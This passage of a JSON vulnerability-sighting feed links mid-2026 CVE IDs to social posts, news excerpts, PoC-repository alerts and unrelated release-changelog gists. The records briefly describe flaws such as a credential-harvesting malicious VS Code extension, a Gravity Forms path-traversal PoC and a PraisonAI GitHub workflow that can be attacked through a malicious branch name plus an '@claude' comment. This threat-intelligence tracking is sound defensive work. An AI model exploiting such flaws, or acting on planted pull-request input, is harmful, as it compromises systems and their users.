3.44.2\u4ee5\u524d\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u306b\u306f\u3001loader.php\u3068\u3044\u3046\u516c\u958b\u3055\u308c\u3066\u3044\u308b\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u30e6\u30fc\u30c6\u30a3\u30ea\u30c6\u30a3\u306b\u30cf\u30fc\u30c9\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u3055\u308c\u305fMySQL\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306e\u8a8d\u8a3c\u60c5\u5831\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u2026", "creation_timestamp": "2026-06-05T11:01:36.314348Z"}, {"uuid": "ff35eef6-d766-42a6-8129-dec5dc9474b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48242", "type": "seen", "source": "https://bsky.app/profile/keiwork35.bsky.social/post/3mnjyeycfhy2b", "content": "\u3010\u7dca\u6025\u3011CVE-2026-48242 Open ISES Tickets 3.44.2\u4ee5\u524d\u306b\u6df1\u523b\u306a\u8106\u5f31\u6027\uff5c\u5373\u6642\u5bfe\u5fdc\u304c\u5fc5\u8981\n\nCVE-2026-48242 Open ISES Tickets 3.44.2\u4ee5\u524d\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u306b\u306f\u3001import_mdb.php\u306b\u30cf\u30fc\u30c9\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u3055\u308c\u305fMySQL\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\u60c5\u5831\uff08\u30db\u30b9\u30c8\u540d\u3001\u30e6\u30fc\u30b6\u30fc\u540d\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u3001", "creation_timestamp": "2026-06-05T11:01:42.281151Z"}, {"uuid": "acd91105-3b67-4b5f-9f09-1046c30ac754", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48027", "type": "seen", "source": "https://bsky.app/profile/sen-perimetered.bsky.social/post/3mnk2zxmfuj2k", "content": "CVE-2026-48027 \u2014 Nx Console. Malicious version published to the marketplace. Obfuscated payload harvested creds from disk + memory. Now on CISA KEV.\n\nThe attack surface isn't your firewall. It's your devs' extension list.\n\nAudit installed VS Code extensions today.", "creation_timestamp": "2026-06-05T11:49:13.058227Z"}, {"uuid": "bdde14f4-605b-46e6-969c-56d98ad1d0ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48020", "type": "seen", "source": "https://bsky.app/profile/dbt3.ch/post/3mnk7guqlhu2h", "content": "Traefik v2.11.48 patches CVE-2026-48020 plus fixes path injection in k8s ingress, TLS option handling, and StripPrefix normalization. Read the migration guide before upgrading. #selfhosted #homelab\n\nhttps://github.com/traefik/traefik/releases/tag/v2.11.48\n", "creation_timestamp": "2026-06-05T13:08:01.713696Z"}, {"uuid": "88fa779e-f7a9-4d2c-aa4b-b6a54f89c993", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48736", "type": "seen", "source": "https://gist.github.com/FR-Flo/d320e280a26ed97b82009cdc8a97a8ee", "content": "\ud83e\udd84 A-Team\n--------\n\n- **Trello**\n    - [Afficher les factures de chaque shipment dans la MP](https://trello.com/c/FJqC11NX/1900-afficher-les-factures-de-chaque-shipment-dans-la-mp) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *Add necessity to download invoice from shipments* [\\#7347](https://github.com/Wishibam/Marketplace-api/pull/7347)\n    - [rapport d'erreur : Afficher le nom de l\u2019option au lieu de l\u2019ID](https://trello.com/c/DV326eEx/2331-rapport-derreur-afficher-le-nom-de-loption-au-lieu-de-lid) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *Rework error logs to show attribute name instead of id to be easier t\u2026* [\\#7355](https://github.com/Wishibam/Marketplace-api/pull/7355)\n    - [FEAT-0007-01 \u2014 Enrichissement donn\u00e9es vendeur et plateforme](https://trello.com/c/WBruFiCS/2298-feat-0007-01-enrichissement-donn%C3%A9es-vendeur-et-plateforme) **\ud83e\udd75 Retour de test**\n        - *Add complete toggleable invoice generation* [\\#7405](https://github.com/Wishibam/Marketplace-api/pull/7405)\n    - [MP - Masquer les colonnes multi-retailer dans l'export ORDER quand j'ai un retailer associ\u00e9](https://trello.com/c/n7K1ikJp/2373-mp-masquer-les-colonnes-multi-retailer-dans-lexport-order-quand-jai-un-retailer-associ%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *Change status order for retailer to only consider their products* [\\#7461](https://github.com/Wishibam/Marketplace-api/pull/7461)\n    - [FEAT-0010 \u2014 Num\u00e9ro de ticket de caisse pour boutiques (TVO)](https://trello.com/c/VJAm3Q9E/2343-feat-0010-num%C3%A9ro-de-ticket-de-caisse-pour-boutiques-tvo) **\u2600\ufe0fIn review**\n        - *Add retailer receipt on order, and add it to search* [\\#7505](https://github.com/Wishibam/Marketplace-api/pull/7505)\n    - [FEAT-0007-02 \u2014 Nouveau template de facture PDF](https://trello.com/c/n8qXmV8Y/2339-feat-0007-02-nouveau-template-de-facture-pdf) **\ud83e\udd75 Retour de test**\n        - *Fix recette for invoice rework* [\\#7524](https://github.com/Wishibam/Marketplace-api/pull/7524)\n        - *Fix some issues with invoice generation* [\\#7532](https://github.com/Wishibam/Marketplace-api/pull/7532)\n \n- **Misc**\n    - *Fix issue with DPD not being Predict type* [\\#7509](https://github.com/Wishibam/Marketplace-api/pull/7509)\n    - *Fix issue with shipment invoice documents* [\\#7522](https://github.com/Wishibam/Marketplace-api/pull/7522)\n \n\ud83d\udcaa Les Muscl\u00e9.e.s\n----------------\n\n- **Trello**\n    - [Ajouter la possibilit\u00e9 de mettre des ID 'customs' pour les corners](https://trello.com/c/HiWoR8Ke/2159-ajouter-la-possibilit%C3%A9-de-mettre-des-id-customs-pour-les-corners) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: add corner code* [\\#7090](https://github.com/Wishibam/Marketplace-api/pull/7090)\n    - [MP - MA - Nom retailer onglet \"Comptabilit\u00e9\"](https://trello.com/c/UdDa4Dzs/1855-mp-ma-nom-retailer-onglet-comptabilit%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: allow set name of paymentAccount* [\\#7133](https://github.com/Wishibam/Marketplace-api/pull/7133)\n    - [Page Dashboard - Il manque la notion de Mono/Multi dans la liste des missions.](https://trello.com/c/LPCoV4qR/1934-page-dashboard-il-manque-la-notion-de-mono-multi-dans-la-liste-des-missions) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *fix(wms): dashboard wms task mono/multi* [\\#7179](https://github.com/Wishibam/Marketplace-api/pull/7179)\n    - [Marques Av - Affichage du centre (tag) sur les Exp\u00e9ditions en cas de multi-shipping \u2013 Marketplace / OMS](https://trello.com/c/f65hfaci/2336-marques-av-affichage-du-centre-tag-sur-les-exp%C3%A9ditions-en-cas-de-multi-shipping-marketplace-oms) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat(picking): shipment inventory address name* [\\#7369](https://github.com/Wishibam/Marketplace-api/pull/7369)\n    - [Import XML et memory](https://trello.com/c/9xNKSWlG/2248-import-xml-et-memory) **\ud83d\ude80Testing BACK / FLUX**\n        - *fix(importer): xml stream* [\\#7393](https://github.com/Wishibam/Marketplace-api/pull/7393)\n    - [MP - Afficher le coupon utilis\u00e9 sur les commandes](https://trello.com/c/w1kVe5oZ/2328-mp-afficher-le-coupon-utilis%C3%A9-sur-les-commandes) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *feat(order): store, expose and search promotion coupon code from Sylius* [\\#7404](https://github.com/Wishibam/Marketplace-api/pull/7404)\n    - [Suivi des dates d\u2019ajout produits \u2013 Corner](https://trello.com/c/rMSaEYBw/2370-suivi-des-dates-dajout-produits-corner) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat(corner): add created\\_at to products\\_by\\_corner* [\\#7425](https://github.com/Wishibam/Marketplace-api/pull/7425)\n    - [Mapping corner - Mode expert -> autoriser le null](https://trello.com/c/mPnnplUd/2368-mapping-corner-mode-expert-autoriser-le-null) **\ud83e\udd73Testing**\n        - *fix(mapping): treat null return in expert mode as unmapped column* [\\#7427](https://github.com/Wishibam/Marketplace-api/pull/7427)\n    - [TVO - PACKING - Permettre de contourner le packing via bordereau en mettant un N\u00b0 de suivi directement.](https://trello.com/c/DqXF2jwa/2375-tvo-packing-permettre-de-contourner-le-packing-via-bordereau-en-mettant-un-n-de-suivi-directement) **\ud83e\udd73Testing**\n        - *:sparkles: WMS Packing add manual entry for trackingNumber* [\\#7459](https://github.com/Wishibam/Marketplace-api/pull/7459)\n    - [Refonte Dashboard Marchand / ORGA](https://trello.com/c/5VPUOd2a/2366-refonte-dashboard-marchand-orga) **\u2600\ufe0fIn review**\n        - *feat(dashboard): v2* [\\#7487](https://github.com/Wishibam/Marketplace-api/pull/7487)\n        - *fix(tvo): adapt sync-stock-alerts to camelCase API response and add since filter* [\\#7534](https://github.com/Wishibam/Marketplace-api/pull/7534)\n    - [WMS Vue \"SCAN\" (LOGS) - Mobile & Desktop](https://trello.com/c/AHZcgIoE/2252-wms-vue-scan-logs-mobile-desktop) **\ud83e\udd73Testing**\n        - *:sparkles: Add WMS logs view* [\\#7521](https://github.com/Wishibam/Marketplace-api/pull/7521)\n    - [\ud83d\ude9a WMS \u00b7 Afficher le transporteur dans la pop-up de tri](https://trello.com/c/YDOgjgEO/2390-%F0%9F%9A%9A-wms-afficher-le-transporteur-dans-la-pop-up-de-tri) **In review WMS**\n        - *:sparkles: WMS Sorting add carrier name and icon to scan popup* [\\#7535](https://github.com/Wishibam/Marketplace-api/pull/7535)\n \n- **Misc**\n    - *fix(dac7): divide Stripe amounts by 100 and fix exclusion threshold* [\\#7408](https://github.com/Wishibam/Marketplace-api/pull/7408)\n    - *:bug: fix(deps): bump symfony 6.4.41 (CVE-2026-48736, -48784, -48489)* [\\#7493](https://github.com/Wishibam/Marketplace-api/pull/7493)\n    - *fix(migration): created\\_at before setting NOT NULL on products\\_by\\_corner* [\\#7495](https://github.com/Wishibam/Marketplace-api/pull/7495)\n    - *:bug: fix: match GMC offer\\_id via Sylius variant code mapping* [\\#7497](https://github.com/Wishibam/Marketplace-api/pull/7497)\n    - *:bug: fix(deps): bump twig/twig 3.27.0 (5 sandbox CVEs)* [\\#7498](https://github.com/Wishibam/Marketplace-api/pull/7498)\n    - *fix(productList): retailer grouped rov controller option attribute* [\\#7500](https://github.com/Wishibam/Marketplace-api/pull/7500)\n    - *:bug: fix: slugify corner code via SlugListener* [\\#7502](https://github.com/Wishibam/Marketplace-api/pull/7502)\n    - *:bug: fix: prevent duplicate nShift return waybill print* [\\#7503](https://github.com/Wishibam/Marketplace-api/pull/7503)\n    - *:sparkles: feat: route ImageKit resize through the media CDN* [\\#7506](https://github.com/Wishibam/Marketplace-api/pull/7506)\n    - *:sparkles: feat: rewrite media URLs to the CDN at serialization output* [\\#7507](https://github.com/Wishibam/Marketplace-api/pull/7507)\n    - *:sparkles: feat: send the CDN URL as Cloudinary background-removal source* [\\#7508](https://github.com/Wishibam/Marketplace-api/pull/7508)\n    - *:bug: fix: corriger le cast uuid invalide des corners \u00e0 l'import* [\\#7510](https://github.com/Wishibam/Marketplace-api/pull/7510)\n    - *:sparkles: feat: store all media objects on Scaleway* [\\#7511](https://github.com/Wishibam/Marketplace-api/pull/7511)\n    - *fix(deploy): phpstan xml importer error* [\\#7523](https://github.com/Wishibam/Marketplace-api/pull/7523)\n    - *:bug: fix: call ImageKit only once when resizing images* [\\#7525](https://github.com/Wishibam/Marketplace-api/pull/7525)\n    - *fix(validator): increase max variation constraint limit* [\\#7526](https://github.com/Wishibam/Marketplace-api/pull/7526)\n    - *:bug: Fix DomainEventDispatcherInterface missing on DomainModel entities* [\\#7527](https://github.com/Wishibam/Marketplace-api/pull/7527)\n    - *:recycle: refactor: store imported images under medias/<org>/<type>/* [\\#7530](https://github.com/Wishibam/Marketplace-api/pull/7530)\n    - *:sparkles: feat: isolate Behat media uploads under medias/behat/* [\\#7531](https://github.com/Wishibam/Marketplace-api/pull/7531)\n\n## POST MEP\n$\\n**[PR #7534](https://github.com/Wishibam/Marketplace-api/pull/7534) \u2014 fix(tvo): adapt sync-stock-alerts to camelCase API response and add since filter**$\\n\\nAjout de la commande dans un cron$\\n\n", "creation_timestamp": "2026-06-05T13:15:09.000000Z"}, {"uuid": "be83fef1-6a1a-424c-9c8f-7a502d8ab473", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48579", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116697710954359032", "content": "It is possible to see elevated activities targeting Microsoft Exchange Online (CVE-2026-48579) https://vuldb.com/vuln/368417/cti", "creation_timestamp": "2026-06-05T13:22:36.187718Z"}, {"uuid": "6d3c4619-8fdf-491b-b15e-7073db8f36fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48866", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/87442", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48866\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xABCD01\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-05 13:42:27\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-48866 \u2014 Gravity Forms <= 2.10.0.1 Arbitrary File Deletion via Path Traversal (CVSS 9.6)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-06-05T14:00:07.000000Z"}, {"uuid": "2cc1da44-73ca-444e-9c2e-8591190e6b78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48020", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mnkay2lpgr2j", "content": "\ud83d\udd17 CVE : CVE-2026-48020, CVE-2026-48491", "creation_timestamp": "2026-06-05T13:35:31.550485Z"}, {"uuid": "5e4985d0-80d5-4e5d-a065-1e273e4c0613", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48567", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mnkmsgopv42h", "content": "\ud83d\udccc CVE-2026-48567 - Authentication bypass by spoofing in Azure HorizonDB allows an unauthorized attacker to elevate privileges over a network. https://www.cyberhub.blog/cves/CVE-2026-48567", "creation_timestamp": "2026-06-05T17:07:07.807118Z"}, {"uuid": "14c050ee-e13d-444c-844f-f054cee4a787", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnkn5hicim25", "content": "CVE-2026-48095 - GHSL-2026-140_7-Zip: 7-Zip has a heap buffer overflow via NTFS compressed stream buffer under-allocation\nCVE ID : CVE-2026-48095\n \n Published : June 5, 2026, 3:16 p.m. | 1\u00a0hour, 16\u00a0minutes ago\n \n Description : 7-Zip is a file archiver with a high compression r...", "creation_timestamp": "2026-06-05T17:13:23.409316Z"}, {"uuid": "03801fb4-655b-438b-8a19-bc58501f2faa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48579", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mnkq5qib5s2s", "content": "\ud83d\udccc CVE-2026-48579 - Improper authorization in Microsoft Exchange Online allows an unauthorized attacker to disclose information over a network. https://www.cyberhub.blog/cves/CVE-2026-48579", "creation_timestamp": "2026-06-05T18:07:08.378197Z"}, {"uuid": "4fd45427-f2da-4b09-b0ce-c52d849ab0fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48017", "type": "published-proof-of-concept", "source": "https://github.com/dbgate/dbgate/security/advisories/GHSA-hv83-ggc4-v385", "content": "", "creation_timestamp": "2026-05-22T07:23:34.000000Z"}, {"uuid": "f0d5f206-dd02-45f9-85bc-bf930f85a27f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48362", "type": "seen", "source": "https://thehackernews.com/2026/08/adobe-patches-three-cvss-100-coldfusion.html", "content": "Adobe has shipped updates to address multiple critical security vulnerabilities impacting ColdFusion, Commerce, and Campaign Classic that, if successfully exploited, could result in arbitrary code execution and privilege escalation.\n\nThe most severe of the flaws are listed below -\n\n\n  CVE-2026-48362 (CVSS score: 10.0) - An operating system command injection vulnerability in ColdFusion that could", "creation_timestamp": "2026-08-12T13:02:06.995434Z"}, {"uuid": "d123b95b-17a8-4c3a-82ab-615ef7e8d68b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48491", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mnkay2lpgr2j", "content": "\ud83d\udd17 CVE : CVE-2026-48020, CVE-2026-48491", "creation_timestamp": "2026-06-05T13:35:32.245255Z"}, {"uuid": "547ccde9-21d6-4981-b86a-83e620a0b339", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48020", "type": "seen", "source": "https://bsky.app/profile/dbt3.ch/post/3mnkfp5fgbw2b", "content": "Traefik v3.6.19 patches CVE-2026-48020 and fixes path injection, StripPrefix normalization, and TLS option issues. Read the migration guide before upgrading. #selfhosted #homelab\n\nhttps://github.com/traefik/traefik/releases/tag/v3.6.19\n", "creation_timestamp": "2026-06-05T15:00:01.288701Z"}, {"uuid": "ddeaebd5-8f95-4338-9271-545758e936d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48102", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnklrekeos24", "content": "CVE-2026-48102 - GHSL-2026-118: 7-Zip UDF Field OOB Read\nCVE ID : CVE-2026-48102\n \n Published : June 5, 2026, 4:16 p.m. | 16\u00a0minutes ago\n \n Description : 7-Zip is a file archiver with a high compression ratio. Versions 9.11 through 26.00 contain a heap out-of-bounds read of up...", "creation_timestamp": "2026-06-05T16:48:38.239287Z"}, {"uuid": "6604bb76-3365-410d-9766-ba5cff3b43b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48101", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnkma4igba2f", "content": "CVE-2026-48101 - GHSL-2026-117: 7-Zip UEFI Capsule uninitialized heap memory disclosure\nCVE ID : CVE-2026-48101\n \n Published : June 5, 2026, 4:16 p.m. | 16\u00a0minutes ago\n \n Description : 7-Zip is a file archiver with a high compression ratio. Versions 9.21 through 26.00 contain ...", "creation_timestamp": "2026-06-05T16:56:53.183364Z"}, {"uuid": "f5aceabe-9ccf-46dc-809a-18af02d5b47b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnlhcjkr642d", "content": "\ud83d\udfe0 CVE-2026-48095 - High (8.8)\n\n7-Zip is a file archiver with a high compression ratio. Versions 26.00 and prior contain a heap b...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48095/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-06T01:01:25.948818Z"}, {"uuid": "ab2e3e83-aaf1-4e83-ac83-5e52e6140a2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/pythonhub.dev/post/3mnlosgkst52o", "content": "CVE-2026-48710: A Maintainer's Perspective\n\nhttps://www.reddit.com/r/Python/comments/1tr5s1c/cve202648710_a_maintainers_perspective/", "creation_timestamp": "2026-06-06T03:15:35.035169Z"}, {"uuid": "5f66b942-e594-4d8d-af34-03460256d841", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mnlvhm7s3a2k", "content": "GHSL-2026-140/CVE-2026-48095: Critical 7-Zip Heap Buffer Overflow Enables Silent Vtable Hijack \u2014 Update Now or Risk Full System\u00a0Compromise\n\nIntroduction 7-Zip versions 26.00 and earlier contain a heap buffer write overflow in their NTFS archive handler, triggered by an integer overflow in memory\u2026", "creation_timestamp": "2026-06-06T05:14:48.538261Z"}, {"uuid": "db185c8c-26b2-4208-8ff5-6e2482fedc37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48827", "type": "seen", "source": "https://bsky.app/profile/cyberowi.pl/post/3mnolt3yv6t2h", "content": "\ud83d\udea8 Luka w Apache MINA SSHD (CVE-2026-48827) pozwala na odczyt plik\u00f3w\n\nWykryto luk\u0119 path traversal w popularnej bibliotece Java do obs\u0142ugi SSH. Umo\u017cliwia ona uwierzytelnionym u\u017cytkownikom dost\u0119p do\n\nhttps://cyberowi.pl/luka-w-apache-mina-sshd-cve-2026-48827-pozwala-na-odczyt/\n\n#cyberbezpieczenstwo", "creation_timestamp": "2026-06-07T07:00:15.707667Z"}, {"uuid": "b9f109e3-e31a-4d3c-99c8-018046c1d2d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/reallynotbob.bsky.social/post/3mnq2vnpch32s", "content": "The CVE-2026-48710 patch fixes specific exploit paths, but the structural issue remains: MCP passes through infrastructure never designed as an accountability layer. Receipts generated on top of the transport rather than below it \u2014 the gap stays open.", "creation_timestamp": "2026-06-07T21:02:47.049313Z"}, {"uuid": "3d925874-8040-4e24-b4fc-7992cf5753a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/reallynotbob.bsky.social/post/3mnq2vts3uk2u", "content": "The CVE-2026-48710 patch fixes specific exploit paths, but the structural issue remains: MCP passes through infrastructure never designed as an accountability layer. Receipts generated on top of the transport rather than below it \u2014 the gap stays open.", "creation_timestamp": "2026-06-07T21:02:53.245410Z"}, {"uuid": "57624628-491f-40bd-8df7-40eb4d6af0f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48085", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msmpzjhxai2v", "content": "CVE-2026-48085\nOpenReception's software allows anyone to create an admin account without a password, giving them full control over the platform. This is a security risk because it means anyone who knows the software's setup\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-09T04:16:04.397251Z"}, {"uuid": "c0cb533e-788c-4b04-87cd-7f23432f981e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48168", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3msecysnw6o2a", "content": "\ud83d\udd34 CVE-2026-48168 - Critical (10)\n\nPraisonAI is a multi-agent teams system. In versions prior to 4.6.40, the bundled Claude GitHub A...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48168/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-05T20:01:44.465474Z"}, {"uuid": "170753d0-fd2b-41b8-8694-ac19101bb047", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48087", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msmpzjxjns27", "content": "CVE-2026-48087\nAn attacker can steal a user's account by using their own authenticator to generate a passkey, which can then be used to log in as the victim. This vulnerability has been fixed in version 1.0.2, so users should\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-09T04:18:16.299622Z"}, {"uuid": "82067b48-86cd-48b8-bd05-b9a137955848", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48168", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msedvztdh72a", "content": "CVE-2026-48168 - praisonai\nPraisonAI's GitHub Actions workflow is vulnerable to attacks if an unauthorized contributor submits a pull request with malicious branch name and comments '@claude'. This\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#praisonai #mervinpraison #CVE #infosec", "creation_timestamp": "2026-08-05T20:18:04.610458Z"}, {"uuid": "8ade7749-27f1-4a60-a76e-49ae75e324e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48395", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mseey2crnb2n", "content": "\ud83d\udccc CVE-2026-48395 - Bridge is affected by an Untrusted Search Path vulnerability that could result in arbitrary code execution in the context of the current user. An atta... https://www.cyberhub.blog/cves/CVE-2026-48395", "creation_timestamp": "2026-08-05T20:37:06.339167Z"}, {"uuid": "c0f0dbec-97de-4057-ba4c-7f06bd609954", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48736", "type": "seen", "source": "https://gist.github.com/FR-Flo/13d69023b1595644f5a4c0a077131e8e", "content": "\ud83e\udd84 A-Team\n--------\n\n- **Trello**\n    - [Afficher les factures de chaque shipment dans la MP](https://trello.com/c/FJqC11NX/1900-afficher-les-factures-de-chaque-shipment-dans-la-mp) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *Add necessity to download invoice from shipments* [\\#7347](https://github.com/Wishibam/Marketplace-api/pull/7347)\n    - [rapport d'erreur : Afficher le nom de l\u2019option au lieu de l\u2019ID](https://trello.com/c/DV326eEx/2331-rapport-derreur-afficher-le-nom-de-loption-au-lieu-de-lid) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *Rework error logs to show attribute name instead of id to be easier t\u2026* [\\#7355](https://github.com/Wishibam/Marketplace-api/pull/7355)\n    - [FEAT-0007-01 \u2014 Enrichissement donn\u00e9es vendeur et plateforme](https://trello.com/c/WBruFiCS/2298-feat-0007-01-enrichissement-donn%C3%A9es-vendeur-et-plateforme) **\ud83e\udd73Testing**\n        - *Add complete toggleable invoice generation* [\\#7405](https://github.com/Wishibam/Marketplace-api/pull/7405)\n    - [MP - Masquer les colonnes multi-retailer dans l'export ORDER quand j'ai un retailer associ\u00e9](https://trello.com/c/n7K1ikJp/2373-mp-masquer-les-colonnes-multi-retailer-dans-lexport-order-quand-jai-un-retailer-associ%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *Change status order for retailer to only consider their products* [\\#7461](https://github.com/Wishibam/Marketplace-api/pull/7461)\n    - [Modification de prix - remboursement](https://trello.com/c/rn8oOmwC/2385-modification-de-prix-remboursement) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *Set 